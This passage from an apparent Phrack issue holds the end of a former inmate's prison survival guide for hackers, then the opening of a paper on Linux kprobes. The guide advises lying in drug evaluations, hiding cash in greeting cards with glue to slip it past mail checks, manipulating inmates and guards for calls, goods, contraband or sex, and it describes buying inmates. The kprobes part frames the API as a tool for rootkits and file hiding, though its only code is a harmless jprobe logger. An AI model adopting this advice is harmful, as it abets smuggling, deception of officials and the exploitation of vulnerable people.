gang, and if so which one should I join ? 7 - County Jail Vs. State Prison 8 - Common Situations 9 - Staying mentally fit 10 - Why I wrote this ------- --[ 1 - Introduction Alright people, this is a guide on what to do and how to act if you find yourself in a prison environment. Let's all face it, if you're into the underground world of hacking or phreaking then you've a very good chance of being arrested some day. Seeing as how I've been in this situation before, and also having noticed the amount of files on laws and police, I've decided to write a file that has information you could use to make your time a lot easier if you happen to go into prison. I myself seriously hope you would never have to use this in a real life situation but if you do, use it to your advantage. So to the point... In this file we will be talking about a lot of different techniques and also about things you should and should not do... This is in no way an exactly fool proof text. All information is based on how I, the author, interpreted the actions of others. Also note that this file is based souly on the American prison systems. Therefore if you are reading this file and are not living in America, some given information will be wrong and some steps of the process may not be in order or even exist at all. --[ 2 - The beginning OK due to the aspects of confusion, there will be some vocabulary that's common to the American Prison facilities in this file. In America there are thousands of 'slang' words that prisoners use to help hide or mask the activities from other inmates and/or the prison officials. We'll start at the beginning stage called the 'intake process'. --[ 2.1 - Intake The 'intake' part of the process is the very first part. In this process you will most likely have your constitutional rights (if you're American) read to you and if they fail to do this then you will most likely have all changes dropped/cleared. After this is done, you will be formally charged with what ever crime you are being accused of, then you will have your fingerprints and a mug shot (picture) of you taken. You will be moved into a room either with other 'offenders/inmates' (these are the people who have also committed crimes and awaiting trial) or by yourself depending on how many people are being 'processed'. In this room there will be guards there to take pictures of any and all tattoos and scares. These will be used to help identify you in case you escape or try to give a fake identification in the future. In this part of the process you will be completely naked, so if you're scared to show your body then too bad get over it or risk being restrained and having them undress you. Next you will take showers with (pubic) lice shampoo. Depending on the setup of the building you will either get to shower by yourself or with a group of inmates. After the shower you will be given a set of pants and a shirt. Some prisons do not provide underwear or cotton shirts you will have to buy these if they are available. Next you will be taken to your 'holding cell' a temporary housing until they either issue you a more permanent cell or until they get more room for you. Now you are ready for the main part of this text file --[ 2.2 - Outline of the process This part is mainly about the movements that go on and what to expect while in transition. Some of the information applies to the American judicial system. --[ 2.2.1 - The county jail when you first get locked up they will most likely put you in what is called a 'county jail'. This type of jail is only for the people who live in your general vicinity and is the first part of the process. While you are heard you will either buy a lawyer or be appointed one. If you are appointed one you have a greater chance of going to prison. I would advise that you pay for one. While heard you will see your lawyer and he will set up the pre-trial date. At the pre-trial your lawyer will present motions on your be-half (These will help you in your case so don't just sit around in there. Go to the law library and do some research.) but the prosecutor will also have the opportunity to present motions that can hurt your case. From here the judge will decide what to accept and what is thrown out, he will also set your real trial date. -[ 2.2.2 - The first day in prison Your first day in prison will be at a diagnostics unit. This is where they do mental evaluations on all inmates to help them place you in the facility to best fit your needs such as if you are handicapped then you will be placed with fellow peers. If you are a person who likes to get angry and assault people then you will got a place with idiots such as yourself. During your stay at the diagnostics unit you will go there are tests regarding your mental stability and be questioned about your past. You will also be asked about prior drug use. My advise to you would be to try look and act as normal as possible and to lie about any and all drug problems. This will help make your time easier and keep you from doing stuff required by the prisons to make parole such as a rehab/anger management program. After about 2 months, depending on your actions you will be sent to a more permanent placement which is a lot different. That is because most people were 'faking it to make it'. This means to act one way to get what you want. These people may have anger problems and all that but they pretended not to so they would get a better unit. Now once they get to that unit they can go onto being there real self's. This can be frustrating to the people who are actually normal because now they have to put up with the people who they didn't want to be around. Note: You will notice that the guards on the transportation busses have shot guns. These are not for show if you attempt to escape they will shoot to kill. --[ 3 - Fresh Meat Fresh Meat - This is someone who has never been locked up, therefore you are the main person people will 'go after' which means attempt to cause you harm or to manipulate you. Most likely these people will be the ones who have been locked up for several years or the people who make a habit out of getting locked up. Yes some people spend most of their pathetic life in prison, even when they've had many chances given to them. Now you're either reading this for one of two reasons: 1. You've never been locked up before, 2. You've been locked up before and you want to see if this is a serious file. Well if you're reading this to find out whether I'm knowledgeable on this fact, then you might find something in here that could have or will help you in the future ;]. But if you're reading this file for the first reason then enjoy. Now most of the time when someone new goes to prison he will be approached by fellow prisoners who will attempt to give him a 'heart check'. This is were the other prisoners get you to fight them. They do this to see if you are a good fighter or if you will simply let them assault you. Most of the time the people trying to assault will be the same race as you and they may ask you some questions to see if they can find out more information on you. If they do this, you must fight them back. It doesn't matter whether you win or lose, remember they are there to see if you have heart (courage). For them people who fight to protect themselves or their property have 'heart' and in prison respect is all you have. No one can take it unless you let them (and they will try). --[ 4 - Life in prison --[ 4.1 - What to expect and getting used to it Now when you get to your facility please do not expect people to care if you want to go home, when your used to eat, what you like to eat, or if your bed is too thin and hard on your back... NO ONE GIVES A FUCK, not the inmates, not the guards, and not the nurse. You will most likely eat breakfast early in the morning. Here (America Texas) it is at 3:00am then lunch is at 9:00am and dinner at 4-5pm. Do not expect a snack in between because there will not be any, not even if you're "Starving to death". Yes this is your first time being locked up and most likely you will be a short timer (someone with less than 5 years, some people refer to short timers as 'having less then 20 years'...). Yes you will be there with people who have life without parole. Therefore you should not complain about how much time you have or how you want to go home because this can cause problems with the other inmates who have been in prison for a while and most likely will not be getting out soon. Inmates with a lot of time take this so seriously they will fight you if they hear you complain about your situation. Remember, there will always be people with more problems than you. --[ 4.2 - Mail & collect calls You will most likely have the right to send/receive letters from family and friends. There will most likely be limits on the amount you can send out for a certain amount of time depending on where you live. You may also be expected to provide the pen/paper/envelopes/stamps. There may also be payphones (good luck to all the phreakers) depending on your location. If you are lucky enough to be in a prison with working phones you may notice that you will have to place collect calls. However this type of calls will not establish a connection with a cellphone unless the receiving party has set up an account with the phone company. Also not all land lines will accept a collect call. Depending on the phone company the prison uses you may be able to set up a prepaid account that your family will provide money to. If you are using this type of account with the phone company then you will be able to call any land-line/ cellphone. Now that you know the basics about the mail/phone set up we're going to talk about what you should not do regarding these systems. If for some reason you are not receiving your mail, make sure you are not giving it to the guard who may have reason to not turn it into the mail office/postal services. They may work for the prisons but there are some who are just as corrupt as your fellow prisoners. If you are certain this is not happening then there may be a problem with the postal services, sadly you will not be able to find this out. Lastly and most likely your loved ones just simply did not write you back. There is really only one main reason that you can not get through on your phone calls and that would be the person you are calling does not want to talk to you. If this is so, do not complain to your fellow inmates they do not care like I said before. The reason I tell you this is because there are some people who do not receive letters/calls and it's simply rude to complain in front of these people (its also bad for your health). Another thing is that there are some people who will try to manipulate you into giving them a phone call or try to get you to give them your pin #. You'll know what I mean and be able to resist this if you have some experience in social engineering. Your best bet would be to keep your pin # for yourself and if you give someone a phone call make them give you something of theirs. Also you can use your knowledge of SE to exploit your fellow inmates to make your free calls, once again good luck with your techniques :) Note: Phone calls and mails will be monitored by the prison officials so be careful of what you say. --[ 4.3 - Hygiene Right if you really need me to explain this to you then there's something wrong, but to all the people who need it... Depending on your location you may or may not be given hygiene (deodorant / soap / shampoo ... you know the main shit). If this is not given to you then you will need to find a way to get these items because you don't want to walk around looking/smelling like a homeless bum because this seems to upset the inmates also the average person, no one wants to smell you. I would also recommend that you take a shower as often as you can. In some prisons you may only shower once a week, maybe longer, this is why the deodorant is so important because it will help make you smell better or 'seem cleaner'. --[ 4.4 - How you will live and getting used to it Now you're going to be in prison and you will be living there for the time being. No one in their right minds will like living there and most of the time the guards don't even want to be there. Noting this you will be issued a bed (this is not a real bed, its more like a shower certain stuffed with wall insulation). They're not very thick (most of the ones I've seen are about three inches thick) and as you might think they are not in the least bit comfortable. No one is going to care if your back hurts or you cant sleep, you will just have to get used to it. You will not be issued sleeping medication or pain relievers, due to the illegal pill trade inside the prisons. In your cell you may or may not have a toilet. These will be stainless steal, you may have seen some in a prison movie, and most likely have a sink at the top. Don't worry the water does not recycle. So if you are shy (note: you will also be present in front of female guards, this may cause you to be more uncomfortable than you already are unless you get amusement from shifting in front of them) then you're going to have to get over this quickly or walk around holding your piss and having a stomach full of shit. When you're done doing your bathroom business make sure you cleaned the area you've used (only the sink/toilet seat, the rest doesn't matter unless you're clumsy and pissed on the floor or dropped something). This is to show respect for yourself and the others around you so please be sure to clean up after yourself. This type of cleanliness also applies to your room/cell/living area. You should observe good cleaning habits to make sure your room is not a mess or does not smell bad. The main reason is that if a guard sees a room that is in a mess then they're most likely to search the room (these are called 'shake downs') and if you are the cause of these shake downs then your fellow peers will 'check' you. --[ 4.5 - The commissary/snack cart In prison there is a thing called commissary (it's like a store in prison). With this you can buy food such as candy, chips, cokes and lots of other things that are way better than what they give you from the cafeteria. The problem is that you will have to buy these items with your own money. This will have to be sent to you from the outside world, basically your family / friends will have to do this. You can't just come across some real money and hand it to them they wont take it. They will tell you about the process more when you get there. You are issued an account number and the money will be located there. You will also be able to buy your hygiene / letter writing materials here. Make sure you buy the things you need before you buy the things you want. Note 1: people may try to manipulate you into buying items for them. Please do not be easily manipulated only buy things for the people you trust and make sure they pay you back or give you something in return for what you gave them. Note 2: you may also try to SE people into buying stuff for you but be smart about this because people do not like when they find out you manipulated them. --[ 4.6 - Making money Yes it is possible to make 'money'. The term money is not only used for legal currency but also commissary / tobacco / stamp/other materials. These are worth the same amount as they are when you buy them from the commissary people and tobacco will be worth more if it is not sold by the commissary. Now once you buy your materials you have either the choice to keep them or use them to buy illegal goods that are rampant inside the prisons across the world. There will always be someone who can be corrupted or extorted into doing your bidding (bringing in certain items you could not get with out an outside source, this is called contraband). Now you'll use your legal goods to buy this contraband from the more experienced inmates, there will be all kinds of contraband to choose from and they are not cheap. Here is a nice list of a few things that may be available to you: 1. Most drugs, i.e. cocaine, heroine, methamphetamine, crack, also including prescription pills obtained by the inmates who take the medications. They do this by hiding the pills in their throat or they can be brought in by a guard or through visitation. 2. Real currency. This will be obtained through the usual ways like the guards, visitation, and using the mail. Either the guard didn't check the mail right or it was hidden inside a card. People use birthday cards to hide the money. The process is quite simple. Take a card that has a part where you can write extra stuff on then put the money between that part and the back part of the card. Super glue it in a neat and undetectable fashion. 3. Tobacco. There are the normal channels but remember also that the inmate you're buying this stuff from might have had this in their anal cavity to hide it while being search. Lol that's why I never smoked unless I knew it wasn't stuck up an ass before. 4. Cell phones. These will be brought in by the guards 99% of the time and they will cost more than anything else you can buy. It has to be real currency (guards don't want food because they can get it themselves). They cost around 200 to 400 dollars and I've heard of people buying them for $1,000. It will be pre-paid and you should get a zip charger (about the size of a AA battery). Keep the phone on silent and only use it when you're alone because if you are caught with a phone inside a prison you may be charged with another crime and sentenced to more time. When you run out of minutes you may have your family buy a refill card and activate it over the Internet. Note: Other inmates may ask to use your phone, charge them for this if you allow it. My advice would be to hide it from everyone and not tell anybody since they may try to use this against you and force u into doing something against your will. They'll threaten to tell on you or just do it to get back at you for something. Past events: The state of Texas has just recently cracked down on the illegal cell phone trade inside their prisons. They are currently installing cell phone jamming devices in all of there facilities, the reason for this is because an inmate on death row called a government official from his cell and threatened his family. 5. Tattoos/materials. You can also pay for getting some nice tattoos in prison, they are of high quality and cheaper than in the free world (not sure why though). You can just about get any type of tattoo you want as long as you're willing to pay for it. You can also sell the tattoo guns / ink if you know how to make it. The prices will be up to you and the basic rules of the prison environment. 6. Artwork. If you know how to draw you can draw up some samples and show them off and you will get some people who will want you to draw for them. Whether this is a card for their family or a tattoo design they plan on getting, the prices are up to you. The better the quality the higher the price you can request. 7. Weapons/shanks. These are home made knives that people will use to assault/kill others with. There are also tempered Styrofoam and news paper bats/poles and spears made out of news paper. These really have no set cost just thought I'd give them a mention. 8. Other inmates. Yes there maybe inmates for sell. These you can buy to do your bidding or just simply to have someone under your control you can basically do anything you want but my advise is to treat them nice and make them think you're their friend or else they'll turn against you. Also be prepared to protect this person. If they see you're not helping them they are not going to help you. This may bring you more problems than what you want. The prices will be set by the person you're buying from. If you are caught buying/selling people you will be severely punished. Note 1: These are all illegal products and most are punishable by law. You can receive extra time if you are caught buying/selling these items. Note 2: You should really commit to using your SE skills with these activities to help you get more for less, just make sure not to get caught cheating people. --[ 5 - Interaction with other inmates --[ 5.1 - Getting checked Being 'checked' by someone is not a good thing at all. This means another inmate is telling you that you've fucked up or letting you know that you're doing something wrong. A good example of being checked would be: You use the restroom and you forget to clean up after yourself. Another inmate that has been waiting for you to Finnish comes in and sees this. Now he can't use the restroom until your mess is cleaned up but he's not going to clean it himself. What he will do is go and find you and tell you to 'go and clean your fucking mess up'. Now if you do clean it after the other inmate told you this in front of every one then you will be thought of as someone who can be pushed around and if you don't clean it you will have to fight this inmate. This is looked at as a bad thing because the other inmates may see this as you letting someone tell you what to do and then they'll try to do the same. This type of people who let the other inmates tell them what to do have the lowest rank in prison (right above snitches and sex offenders). I hope that none of you are sex offenders but if you are then you will get what you deserve when you get caught and this file will not help you in any way. So you should simply avoid this type of confrontation. --[ 5.2 - Just like momma used to make? In this section we'll be talking about the food you will be eating while you're locked up. This 'food' as they like to call it is not very good and you most likely won't be getting a lot of it (if you're the average man you're going to get to sleep hungry most nights). You'll start your day off early in the morning (3:00am were I was at, this will mostly be true for you also because there will be a lot of people in the prison and they'll have to start early to get every thing done on time). Then there will be lunch at about 9:00am to 11:00am and finally you'll have your last meal somewhere around 5:00pm. Now that you have the basic meal schedule it's time to tell you what you're most likely going to be eating. The main thing I've seen would be the soy bean patties (tofu I guess). This is not real meat nor will it taste as such. The reasons they give you are: 1. It's cheap, 2. It's low in fat. They have to keep you healthy even though they'll feed you the minimum amount of calories that a human needs to stay alive), 3. It's high in protein. If you are not given soy bean then you will be given either 'pork' or turkey meat (this will mostly be the 'sausage' at breakfast or the patties for the hamburgers). The breads will almost all the time be wheat (you may like wheat bread but it gets really old after a while). Basically everything will be low fat. I'll recommend that even if you don't like it just eat it (mixing the food all together will help mask the taste). Basically there may be things that you can't eat without throwing up. You will get used to it the more you eat it but there will always be 'roaches' (someone who looks for scraps/extra food that others did not eat...like a cockroach). These people will see that you did not eat all your food and ask you if they might have it. Depending on who they are and if you trust them or not, it is up to you whether you give it to them or not. I would suggest you not to if you don't know them or if you think they're trying to manipulate you. Giving people stuff they want will not help you gain acceptance. They will continue to manipulate you if you allow it. --[ 5.3 - Getting punked/becoming a bitch Getting 'punked' is when you allow other inmates to treat you any way they want. This includes: 1. Letting them assault you 2. Letting them take your food/personal belongings 3. Letting them verbally abuse you 4. and sexual abuse Becoming a 'bitch' means that you belong to another inmate. You'll be treated like a punk and/or be raped though they may protect you in return (they can't let other inmate fuck with their property now can they?). Don't let this happen, if you think this may happen to you then stop reading the file, you'll be a disgrace to all the hackers and phreakers of the world. Note 1: an inmate may offer you protection from the other inmates. What they will not tell you is that you will be their bitch, and will do what they say or accept the beating you will get. Also if one day you no longer want the protection of the inmate then he and his friends will target you. You will still get beaten, so don't accept any 'protection'. Note 2: You may notice that I degrade a few types of people in this file such as sex offenders and 'bitches'. When I use this word I mean the people who can defend themselves but simply will not. There are people who will not fight for themselves but if someone tells them to fight another person then they will. This is pathetic and inexcusable, do not be like this. --[ 6 - Prison gangs --[ 6.1 - Overview I will now try to explain the basic concepts of the main types of prison gangs. Please remember this will not always be true for all gangs or for prisons in other countries besides the USA. Some information may not be accurate therefore I will not use any names. When you go in prison you may notice that groups of people with the same types of tattoos happen to congregate in groups (most of the time in the same areas). You may also notice that they will show favoritism to the group they associate with, this is most likely because they are in a 'gang'. A gang is a group of 3 or more people that are involved in organized crime and believe in the same values/beliefs and share the same goals. For this reason these prisons have established what most call a 'gang task force'. People assigned to the task force are responsible for finding out the illegal activities of these inmates.... Most of the gangs are based on race (White/European, Mexican/Latino/Hispanic, Black/African). Their common goals are to: 1. Protect each other. Have your fellow members backs don't let any one walk over them or punk them. Most likely though there won't be any punks in a gang (and if there are they will be ejected from the gang or disaplin). 2. Establish and keep the respect of their people. Once again don't allow people to push you around, if this is allowed then it will be bad for their business/dealings. 3. Make money. This has been explained to you already but what was not explained earlier was that most of the people you will buy your contraband from (drugs mainly) will be from one of these gangs. Gangs often got war over business related dealings. Most people assume it's inspired by racial issues but about 90% of the time its over the drug trade/territory. --[ 6.2 - Should I join a gang, and if so which one should I join ? My advise to you would be that you should not join a gang if you want to get out and go home on time. When you join a gang you are expected to put the gang and its members first. It doesn't matter if you think its the right thing to do. If they ask you to do something then you must do it or accept the punishment they will give you. If another member is with you and instigating problems with other people and he gets attacked, it will be your job to help him. This means you could end up getting hurt or getting more time on your sentence (think about this for a minute you have 4 days until you're allowed to go home and then something happens where you have to help your gang... You end up getting more time and can't go home. How would your family feel, how would you feel ?). Now if you are persistent about joining one, here are the main rules about this: 1. You should join a gang based on the same race/ethnic group as you are. 2. Make sure you understand and are willing to follow any and all rules given to you. 3. Do not try to manipulate your fellow members or cheat the gang out of any money. 4. Only do approved business with other gangs/people. 5. Do not talk about your gang affiliation with any one (family/guards). 6. Make sure you are willing to be in the gang for the rest of your life, your affiliation does not stop when you are released (if released), you will be responsible for contacting your local ranking members of the gang when you get out. 7. Most importantly do not join a gang if you have anyone you love or care for. The simple reason for me saying this is that you may not get out if you join a gang... You must follow any and all orders including if they want you to kill someone (people have been ordered to kill their own family members). Note: Failure to do these things may cost you your life. You will also have more rules to follow than expected when you join. These rule aren't known to people outside the gang therefore I've only listed the most common. --[ 7 - County Jail Vs. State Prison What? there is a difference you say? Yes, there a few of them in fact. Let's go over them. ------------------- County cons 1. You most likely won't move out of your cell. 2. Time is harder and feels like it goes by a lot slower. 3. Depending on how big it is, there's not as much food. 4. It might be a lot more dirty and could smell like shit and piss. 5. You will be in there with mentally ill people. 6. Commissary costs more. County pros 1. You may get to see females and depending on the jail write them (they'll be locked up too). 2. You may get to have your own shower. 3. You may not have to get up if you don't want to. 4. You may not have a lights out time. 5. Not every thing is gang related like prison and you can basically chill with who ever you want (as far as race goes rivalries still hold up). ------------------- Prisons cons 1. A lot of new rules you must learn and you might be expected to learn without any help. 2. The daily schedule will be a lot different than in county. 3. Gang wars. 4. Lock downs (no movement at all until told otherwise this can go on for months). 5. Work (you will have to work and you may not get paid for it... You could work in the fields too and that sucks). 6. Can't wright other people who are also locked up (this means the girl you wrote in county wont be getting your letter). 7. Mass butt naked searches. 8. Take showers in front of every one. Prisons pros 1. Time goes by a lot faster in county jail 2. Easy to make money. 3. Tattooing is more available. 4. Cheaper commissary. 5. Easier access to tobacco/drugs. 6. A lot more respect than what there is in jail. ------------------- --[ 8 - Common situations Here we will talk about a few common (negative) situations presented to the newer people of the prison world. In this section I'm going to tell you the best ways to get out of them and I'll try to explain them in a way you can understand. Not all situations are listed in this section because no one can list them all but you can use what is here to help you 'free style' the situation if one arises. Like I've said before you can use social engineering skills to help you get what you want or get out of almost anything that you can get yourself into. So lets get to it... 1. It's your first day on the unit (prison), people will be looking to see if they can make you there punk/bitch (remember that we've talked about this before). The most common way they will try this is using intimidation. Most of the time a group of inmates will approach you and ask you seemingly harmless questions but they're not. These questions can be used against you in some type of way (these people are not trying to be friendly, it may seem this way but it's not). Few subjects you should not release any information about would be: - Your family/personal life. Do not give your address or anything such as this out. The reason for this is to make it harder for them to know the people you may know. - Never lie about things you're not sure of. Just simply state that it's your business and keep it as such. Also do not lie to try and gain acceptance because it will not work. Keep your stories to yourself and only tell them to trusted people. 2. You walk into the 'dayroom' (the place where everyone gathers to play games/watch tv/converse) and you see the people who entered your cell earlier playing a game of cards. You see that they are having a good amount of fun and you need something to help take your mind off of your situation or you just simply want to go over and make a few new friends. Well I'd recommend that you stay to yourself for a while longer and let the other inmates invite you to the game if they choose to do so. Still be cautious if they do as they might try to manipulate you for some reason. Note: I'd also recommend that you do not just go up to people asking them questions or telling them your adventures from the free world. Being a friendly person is not looked at as a good thing while in prison. The reason you should not just walk up to people and talk to them is because some of them are mentally ill and may attack you if you attempt this. They will also try to make you think they are your friend and use you for their amusement or personal gain. You should also never give out personal information to people you don't know because they may use that to help find victims when they are released. Note: If you want to make friends then my advice is to not lie to people show them you're trustworthy. If you're not a drug dealer then don't say you are. If you've never shot a gun don't say you have. And also don't overload them with technical talk, and don't get all excited to be talking to someone. They are not that cool plus it's annoying. 3. Someone disrespects you, either verbally or physically (pushing you or bumping into you). When this happens your safest bet would be to fight and not let this go on for very long because you will be seen as a bitch. Now if you are challenged to a fight then you should accept it and fight as good as you can. It won't really matter if you win or lose. If the inmates see you will fight then they will respect you. Note: If a guard tells you to stop or hit the floor then you should do so to avoid being pepper sprayed or tazed. Some prisons are allowed to use deadly force. 4. Your friends or some other people ask you to join a gang. This is up to you. For help refer back to the gang section of the article. 5. You see something happening that you don't like, then your best response would be no response. If you get into someone else's business then it will only cause problems on yourself and you do not need any problems that can be avoided. If you choose to take action then that will be on you, I have warned you of doing so. Note: This could result in retaliation from other inmates as well. 6. You're about to get out and you no longer want to be in the gang you joined when you first got locked up. Well there's a problem with this because one you were told it was for life and two they will most likely put a contract on you (hire someone to kill you). To avoid being killed inside the prison walls you can use a technique. In prison they have a program called 'PC' (protective custody) this is for people with mental/physical illnesses and for the weaker prisoners. You will use this to your advantage, here is a good way to put yourself on PC: Contact a ranking guard and let him know your situation. You will want to do this with a guard you trust so that he will not tell everyone of what you are planning to do. Sooner or later you will be taken to a one man cell and you will be asked questions by the gang task force. You will be asked to give any and all information about the gang and if you don't help them then they will not help you. Note 1: In my opinion if you use this part of the file you do not deserve to call yourself a man. Note 2: These are the most common situations you may go through in prison but these are not definite. You may need to customize these techniques or apply them to different situations... -[ 9 - Staying mentally Fit In this part of the text we will be talking about the various techniques to help you stay mentally fit. Basically what I'm talking about is how not to go crazy. Some people have the tendencies to over obsess about the outside world, or to think too much about their friends and family. This will cause you to stress yourself out and become depressed. This leads to suicide in some people and this is what we want to avoid. So here are a few techniques or suggestions that I'll give you to help keep you on top of things. 1. Some people put all their faith in getting letters and phone calls from their family/friends. This is not really a good thing. When you get a letter I would recommend reading it once and then replying to the letter as soon as possible. Doing this will help you keep your mind off the free world. If you continually keep negative things on your mind/think about negative things then your attitude will almost always be negative. This is what we want to avoid inside the prison walls. The more negative you are or negativity that your around will likely cause you to do negative things. This will most likely cause you to stay inside prison longer then you have to. 2. Visitation is most likely going to be the hardest part to get out of your mind. The reason for this is because you actually get to be with the people you love. Now depending on where you are at, you may have be separated by a wall with glass and will talk to them on a pay-phone type set-up. Note: Beware that most prisons record these types of conversations. You may not get a prompt letting you know this but regardless be careful on what you say. A few tips on how to have a good visit from the family/friends: - Stay on a positive topic. You don't need to fight or argue with someone who takes the time to come and see you, and later on you'll most likely feel bad for doing this. This is what we don't want. - Do not attempt to get your visitor to smuggle contraband. This can cause problems between you and the visitor, or you may end up getting them put in prison if they do wish to bring the contraband. - Take one visitation at a time. In other words do not go back to your cell and ponder upon the visit. Doing so will cause you more stress and problems than you should have to deal with. 3. You will be allowed to have pictures of your loved ones. This can be a good thing. Everyone wants to have pictures, but you should not keep them out because this causes you to pay more attention to the pictures instead of the things you really should be doing. You're just making your time harder then it should be by thinking about things that make you depressed. Note: Also keeping your personal stuff out can end up getting it stolen by the other inmates. Stealing is frowned upon but is every common inside prisons. 4. When the guards tell you 'lights out' or bed time then this is what you should do. Do not stay up at night and ponder upon your misfortunes or your family. The reason is this causes you to lose sleep and will make your daily schedule very hard to work with. You may be expected to work while you're locked up and if you're not fully functional then you will cause the others to get angry and lash out against you. 5. Try to have as much fun as you can. This is hard but you have to try. Once you get comfortable and in transition to this new way of life then it will become easier. The main thing you should do to have fun is play games such as cards, dominoes. They may have a few board games also (I liked to play a good game of chess myself). Also when you're at the rec. yard (a place outside where you are allowed to Rome inside a certain area) play some sports like basket ball or football. There will be sports and people willing to play, this can also help you meet new people who can help distract you from your daily problems. 6. Like I mentioned earlier you can workout to keep you in shape and keep your mind off your problems. Find you a good workout routine and stick with it. Working out is proved to higher your self-esteem and help with depression. You don't always have to wait until you go outside to workout, you can do this inside your cell whenever you find yourself thinking about negative things. 7. Establishing a relationship with a guard (depending on the sex the reader is) can also help you pass the time. If you have someone that is willing to help you in your time of need then this will bring your stress level to a lower term if not take it away completely. Note: Establishing a relationship with a guard is not easy. They look at you like a criminal so your goal is to either manipulate them into believing that you're not or just simply show them the real you {nice, kindly person lol}. Like I've said this is a hard task but this in itself can keep your mind off the bullshit. Think of new ways to get through the guards personal defenses (you're hackers you should be good at this), and when you finally overcome them then you have all kinds of fun things to do depending on what your intentions are (contraband staff, or true relationship. Yes you may be able to fuck them). -[ 10 - Why I Wrote This I wrote this article based on the assumption that many people would basically enjoy it, but also that it may help some people if they happen to go to prison. I was sentenced to 20 years for aggravated assault with a deadly weapon. It was my first time ever being locked up but I was one of the ones who took it as a challenge. While inside I've seen other first timers being treated in a way that no person should ever be treated. I made it inside the prison walls and now I am sharing with you ways for you to make it also, use this to your advantage this is for entertainment but also education. -TAp PS: If you have any questions you would like for me to answer then please feel free to contact me. ----EOF---- ==Phrack Inc.== Volume 0x0e, Issue 0x43, Phile #0x06 of 0x10 |=-----------------------------------------------------------------------=| |=--------------=[ Kernel instrumentation using kprobes ]=---------------=| |=-----------------------------------------------------------------------=| |=--------------------------=[ by ElfMaster ]=---------------------------=| |=----------------------=[ elfmaster@phrack.org ]=-----------------------=| |=-----------------------------------------------------------------------=| 1 - Introduction 1.1 - Why write it? 1.2 - About kprobes 1.3 - Jprobe example 1.4 - Kretprobe example & Return probe patching technique 2 - Kprobes implementation 2.1 - Kprobe implementation 2.2 - Jprobe implementation 2.3 - File hiding with jprobes/kretprobes and modifying kernel .text 2.4 - Kretprobe implementation 2.5 - A quick stop into modifying read-only kernel segments 2.6 - An idea for a kretprobe implementation for hackers 3 - Patch to unpatch W^X (mprotect/mmap restrictions) 4 - Notes on rootkit detection for kprobes 5 - Summing it all up. 6 - Greetz 7 - References and citations 8 - Code ---[ 1 - Introduction ----[ 1.1 - Why write it? I will preface this by saying that kprobes can be used for anti-security patching of the kernel. I would also like to point out that kprobes are not the most efficient way to patch the kernel or write rootkits and backdoors because they simply require more work -- extra innovation. So why write this? Because... we are hackers. Hackers should be aware of any and all resources available to them -- some more auspicious than others -- Nonetheless, kprobes are a sweet deal when you consider that they are a native kernel API that are ripe for abuse, even without exceeding their scope. Due to limitations discussed later on, kprobes require some extra innovation when determining how to perform certain tasks such as file hiding and applying other interesting patches that could subvert or even harden the kernels integrity. ----[ 1.2 - About kprobes It is with no doubt that the best introduction to kprobes is in the Linux kernel source documentation that contains kprobes.txt. Make sure to read that when you get a chance. Kprobes are a debugging API native to the Linux kernel that is based on the processors debug registers -- whatever the processor may be. We are going to assume x86, which at this time has the most kprobe code developed. --From kprobes.txt -- Kprobes enables you to dynamically break into any kernel routine and collect debugging and performance information non-disruptively. You can trap at almost any kernel code address, specifying a handler routine to be invoked when the breakpoint is hit. There are currently three types of probes: kprobes, jprobes, and kretprobes (also called return probes). A kprobe can be inserted on virtually any instruction in the kernel. A jprobe is inserted at the entry to a kernel function, and provides convenient access to the function's arguments. A return probe fires when a specified function returns. -- Based on this definition one can imagine that this kprobes interface may be used to instrument the kernel in some useful ways, both for security and anti-security; That is what this paper is about. In the recent past I implemented some relatively powerful and complex security patches using kprobes. That is not to say that other patching methods are not still useful, but occasionally one may run into issues using traditional methods such as kernel function trampolines which are not SMP safe due to the non-atomic nature of swapping code in and out. kprobes are a native interface which is nice, but they still present some challenges due to limitations we discuss throughout the paper. Kprobes can be used to patch the kernel in some places, but cannot be used for everything. This a treatise that can shed some light on when and where kprobes can be used to modify the behavior of the kernel. Sometimes they must be used in conjunction with another patching method. Before we move on I wanted to point out the following few facts: kprobes show up as being registered here: /sys/kernel/debug/kprobes/list And can be enabled or disabled by writing a 0 or a 1 here: /sys/kernel/debug/kprobes/enabled The kprobe source code is located in the following locations: /usr/src/linux/kernel/kprobes.c /usr/src/linux/arch/x86/kernel/kprobes.c Keep in mind that jprobes/kretprobes are 100% based on kprobes and disabling kprobes like shown above will prevent any kretprobe/jprobe code from working as well. Moving on... ----[ 1.3 - Jprobe example In this paper we will be working primarily with jprobes and kretprobes. As shown in the kprobe documentation already, there are several functions available for registering and unregistering these probes. Lets pretend for a moment that we are interested in sys_mprotect, and we want to inspect any calls to it, and the args that are being passed. For this we could register a jprobe for sys_mprotect. The following code outlines the general idea here. And consider that because we are setting a jprobe on a syscall, we need to either declare our jprobe handler using 'asmlinkage' magic, otherwise we must get our args directly from the registers. In our example I will get the args directly from the registers just to show how to obtain the registers for the current task. -- jprobe example 1 -- NOTE: The jprobe data types will be explained in detail in 2.2 [Jprobe implementation] int n_sys_mprotect(unsigned long start, size_t len, long prot) { struct pt_regs *regs = task_pt_regs(current); start = regs->bx; len = regs->cx; prot = regs->dx; printk("start: 0x%lx len: %u prot: 0x%lx\n", start, len, prot); jprobe_return(); return 0; } /* The following entry in struct jprobe is 'void *entry' and simply points to the jprobe function handler that will be executing when the probe is hit on the function entry point. */ static struct jprobe mprotect_jprobe = { .entry = (kprobe_opcode_t *)n_sys_mprotect // function entry }; static int __init jprobe_init(void) { /* kp.addr is kprobe_opcode_t *addr; from struct kprobe and */ /* points to the probe point where the trap will occur. In */ /* our case we are probing sys_mprotect */ mprotect_jprobe.kp.addr = (kprobe_opcode_t *)kallsyms_lookup_name("sys_mprotect"); if ((ret = register_jprobe(&mprotect_jprobe)) < 0) { printk("register_jprobe failed for sys_mprotect\n"); return -1; } return 0; } int init_module(void) { jprobe_init(); return 0; } void exit_module(void) { unregister_jprobe(&mprotect_jprobe); } In the above code, we register a jprobe for sys_mprotect. This means that a breakpoint instruction is placed on the entry point of the function, and as soon as it gets called a trap occurs and control is passed to our n_sys_mprotect() jprobe handler. From this point we can analyze data such as the arguments passed either in registers or on the stack, as well as any kernel data structures. We can also modify kernel data structures, which is primarily what we rely on for our patches using kprobes. Any attempts to modify the stack arguments or registers will be overriden as soon as our handler function returns -- this is because kprobes saves the register state and stack args prior to calling the handler, and restores these values upon the jprobe_return(), at which point the real syscall or function will execute and do its thing. We will get into much more detail on this topic and how to actually modify stack arguments later on. ----[ 1.4 - Kretprobe example and return probe patching technique Moving on to kretprobes (Also known as return probes). Without kretprobes it wouldn't be as easily possible to patch the kernel using kprobes, this is because a kernel function that we set a jprobe on might re-modify a kernel data structure that we modify, as 